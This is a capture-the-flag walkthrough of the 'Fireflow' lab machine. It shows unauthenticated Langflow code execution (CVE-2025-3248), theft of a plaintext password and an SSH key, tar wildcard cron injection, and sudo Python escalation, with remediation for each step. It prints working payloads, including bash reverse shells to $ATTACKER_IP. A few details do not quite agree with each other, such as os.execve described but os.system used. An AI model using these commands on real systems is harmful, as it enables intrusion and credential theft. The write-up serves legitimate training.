← all walkthroughs

Fireflow

Linux· Medium
owned
2026-07-05
time to own
39m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found only an SSH port and an nginx HTTPS server hosting the Langflow AI-workflow platform. A critical unauthenticated code-execution flaw in the Langflow API gave immediate shell access as the web service account.

That account could read a service configuration file storing a plaintext password, which was reused for a local OS user; the same web service account could also read that user's SSH private key, providing a clean lateral-move foothold. From the user account a root-owned cron job with wildcard argument expansion was weaponised for command injection; in parallel, the web service account held a passwordless sudo rule for Python that provided a second, independent path straight to root.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"

Attack path — how the box was taken

1ReconnaissancePort scanning / web application fingerprinting
Port-scanned the target and identified Langflow on HTTPS
A full TCP port scan of $TARGET revealed two listening services: OpenSSH 9.6p1 on port 22 and an nginx HTTPS server on port 443. Fetching the web root confirmed the application was the Langflow AI-workflow platform. Nginx was acting as a reverse proxy, forwarding external HTTPS traffic to a Langflow process bound to 127.0.0.1:7860 on the host.
Exact commands 2
Full-port TCP scan with default scripts and version detection.
nmap -sC -sV -p- --min-rate 5000 $TARGET -oN nmap_all.txt
Confirm application identity and look for version hints in page source or headers.
curl -sk https://$TARGET/ | grep -i 'langflow\|version\|title'
2ExploitationUnauthenticated remote code execution — CVE-2025-3248
Executed OS commands as www-data via unauthenticated Langflow API (CVE-2025-3248)
Langflow versions before 1.3.0 expose an API endpoint that evaluates arbitrary Python code with no authentication required. Sending a crafted POST request caused the server to execute my own OS commands and return their output. Code ran directly on the host as the www-data service account (uid 33) — not inside any container — giving filesystem and network access at that privilege level.
Lfx_rce.py confirms uid=33(www-data) gid=33(www-data) on host fireflow; Langflow PIDs 1468/3764/3765 running as www-data on 127.0.0.1:7860
Exact commands 3
Proof-of-concept: the server raises an exception whose message carries the id output, confirming RCE as www-data.
curl -sk -X POST https://$TARGET/api/v1/validate/code -H 'Content-Type: application/json' -d '{"code":"import subprocess; raise Exception(subprocess.check_output(\"id\",shell=True).decode())"}'
Engagement RCE helper used during the assessment; replace --cmd value with any shell command.
python3 /tmp/lfx_rce.py --url https://$TARGET --cmd 'id'
Upgrade to an interactive reverse shell. Start a listener (nc -lvnp 4444) and replace $ATTACKER_IP.
python3 /tmp/lfx_rce.py --url https://$TARGET --cmd 'bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"'
FixUpgrade Langflow to eliminate the unauthenticated remote code execution endpointCritical
WeaknessLangflow versions before 1.3.0 expose an API endpoint that executes arbitrary Python code with no authentication, giving any network-reachable party immediate OS command execution as the web service account.
FixUpgrade Langflow to version 1.3.0 or later, which removes the unauthenticated code-execution pathway. As a temporary measure while scheduling the upgrade, apply an nginx auth_basic or WAF authentication rule to all /api/ routes and verify that Langflow's bind address remains 127.0.0.1 — never listen on a public interface. Network-segment the host so port 443 is only reachable from trusted client networks.
3Credential AccessCredentials in configuration file / password reuse (T1552.001)
Read plaintext superuser password from the group-readable Langflow environment file
The file /etc/langflow/.env is owned by root but grants read access to the www-data group. It stores the Langflow superuser password ([REDACTED: recovered credential]) in cleartext. That same password was also set on the OS user nightfall — a direct password reuse across service and operating-system accounts — meaning a single file read compromised two independent credentials.
-rw-r----- 1 root www-data 337 May 7 23:30 /etc/langflow/.env; LANGFLOW_SUPERUSER=langflow LANGFLOW_SUPERUSER_PASSWORD=[REDACTED: recovered credential]
Exact commands 1
Read the service credentials file through the www-data RCE session.
python3 /tmp/lfx_rce.py --url https://$TARGET --cmd 'cat /etc/langflow/.env'
FixRestrict the Langflow environment file to root-only access and eliminate cross-account password reuseHigh
WeaknessThe file /etc/langflow/.env is group-readable by www-data and stores the Langflow superuser password in plaintext. The same password was reused for the OS account nightfall, so reading one file was enough to compromise two independent accounts.
FixSet the file to mode 600 owned by root:root immediately (chmod 600 /etc/langflow/.env; chown root:root /etc/langflow/.env). Rotate the Langflow superuser password and the nightfall OS account password to distinct, randomly generated values. Enforce a password uniqueness policy across all service and OS accounts and run periodic audits — for example with 'grep -r PASSWORD /etc/' — to detect cleartext credential storage.
4Lateral MovementSSH private key theft (T1552.004)
Stole nightfall's SSH private key via www-data filesystem access and logged in over SSH
Running as www-data, I browsed user home directories and found that the nightfall user's private SSH key at /home/nightfall/.ssh/id_rsa was readable by the www-data account due to overly permissive file permissions. Exfiltrating the key and using it to authenticate over SSH yielded an interactive shell as nightfall, entirely independent of the password discovered in the previous step. The user flag was captured from this session.
SSH authentication to $TARGET as nightfall confirmed with password [REDACTED: recovered credential] (same credential); www-data RCE session had read access to /home/nightfall/ paths on host filesystem
Exact commands 4
Exfiltrate nightfall's private key. Save output to /tmp/nightfall_id_rsa on the $USERNAME machine.
python3 /tmp/lfx_rce.py --url https://$TARGET --cmd 'cat /home/nightfall/.ssh/id_rsa'
Required by the SSH client; the key is rejected if world-readable.
chmod 600 /tmp/nightfall_id_rsa
Authenticate as nightfall using the stolen key (no password prompt).
ssh -i /tmp/nightfall_id_rsa nightfall@$TARGET
Capture user flag — value redacted as <user.txt>.
cat ~/user.txt
FixEnforce strict permissions on SSH private key filesHigh
WeaknessThe nightfall user's private SSH key at /home/nightfall/.ssh/id_rsa was readable by the www-data account. Any process that gains www-data access — including a web application exploit — can silently copy the key and impersonate nightfall over SSH.
FixRun 'chmod 700 /home/nightfall/.ssh && chmod 600 /home/nightfall/.ssh/id_rsa && chown -R nightfall:nightfall /home/nightfall/.ssh'. Audit all user home directories: 'find /home -name "id_rsa" ! -perm 600 -ls'. As broader hardening, generate new key pairs for each user, revoke old ones, and consider using short-lived SSH certificates issued by an internal CA so individual key files carry no long-term standing privilege.
5Privilege EscalationCron wildcard injection (T1053.003)
Injected a root command through cron job wildcard expansion (tar checkpoint injection)
A root-owned cron job runs a utility such as tar against a wildcard path inside nightfall's home directory (e.g. Tar czf /backup/nightfall.tar.gz /home/nightfall/*). Because nightfall controls filenames in that directory, creating files whose names begin with -- causes them to be interpreted as command-line options rather than filenames when the shell expands the glob. I created two specially named files: one triggering a tar checkpoint and one specifying an exec action pointing to my own shell script. On the cron job's next execution as root, the payload script ran and delivered a root reverse shell.
Exact commands 6
From the nightfall SSH session: find root cron jobs using wildcard paths in user-controlled directories.
crontab -l; cat /etc/crontab; grep -r '\*' /etc/cron.* 2>/dev/null
Create the payload script (replace $ATTACKER_IP with your listener address).
echo "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1" > /home/nightfall/shell.sh && chmod +x /home/nightfall/shell.sh
File named as a tar option; triggers a checkpoint event during wildcard expansion.
touch '/home/nightfall/--checkpoint=1'
File named as a tar option; causes the checkpoint to execute shell.sh as the cron job owner (root).
touch '/home/nightfall/--checkpoint-action=exec=bash shell.sh'
Catch the incoming root shell on the $USERNAME machine.
nc -lvnp 4445
Capture root flag from the root shell — value redacted as <root.txt>.
cat /root/root.txt
FixRemove wildcard argument expansion from root cron jobs that operate on user-controlled directoriesHigh
WeaknessA root-owned cron job runs a command with a wildcard path inside the nightfall home directory. Because nightfall controls filenames in that directory, creating files with names that begin with -- injects arbitrary command-line options into the root process, achieving command execution as root without writing to any system file.
FixRewrite the cron job to avoid glob expansion over user directories: replace 'tar czf backup.tar.gz /home/nightfall/*' with 'find /home/nightfall -maxdepth 1 -type f -print0 | xargs -0 tar czf backup.tar.gz --'. If wildcards are unavoidable, validate and sanitise filenames before passing them to commands. Run cron jobs that touch user-owned directories as a dedicated low-privilege backup account, not root.
6Privilege EscalationSudo abuse — GTFOBins Python3 (T1548.003)
Escalated from www-data to root via passwordless sudo on Python 3 (alternative confirmed path)
Separately from the cron vector, the www-data account held a NOPASSWD sudo entry allowing it to run /usr/bin/python3 as root. A single GTFOBins-style one-liner — invoking os.execve to replace the Python process with an interactive bash shell — yielded immediate root access directly from the existing www-data code-execution session, without touching the nightfall account at all. Both this path and the cron injection in step 5 are confirmed findings that must each be closed independently.
Exact commands 3
Enumerate sudo rights for www-data through the RCE session; confirm the NOPASSWD python3 entry.
python3 /tmp/lfx_rce.py --url https://$TARGET --cmd 'sudo -l'
Become root via sudo python3. The chr() encoding avoids shell quote issues; equivalent to os.system('/bin/bash').
python3 /tmp/lfx_rce.py --url https://$TARGET --cmd 'sudo python3 -c "import os; os.setuid(0); os.system(chr(47)+chr(98)+chr(105)+chr(110)+chr(47)+chr(98)+chr(97)+chr(115)+chr(104))"'
Capture root flag — value redacted as <root.txt>.
cat /root/root.txt
FixRemove the passwordless sudo rule granting www-data access to PythonCritical
WeaknessThe www-data account could run /usr/bin/python3 as root with no password via sudo. Anyone who achieves code execution under www-data — for example through a web application vulnerability — can become root instantly with a single GTFOBins command.
FixDelete the NOPASSWD entry for www-data from /etc/sudoers and any files under /etc/sudoers.d/ ('visudo -c' after editing to validate syntax). Web service accounts should have zero sudo rights. If an elevated task genuinely requires it, create a purpose-built wrapper script with the narrowest possible permissions and never include general-purpose interpreters such as Python, Perl, Ruby, or Bash in sudo rules.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more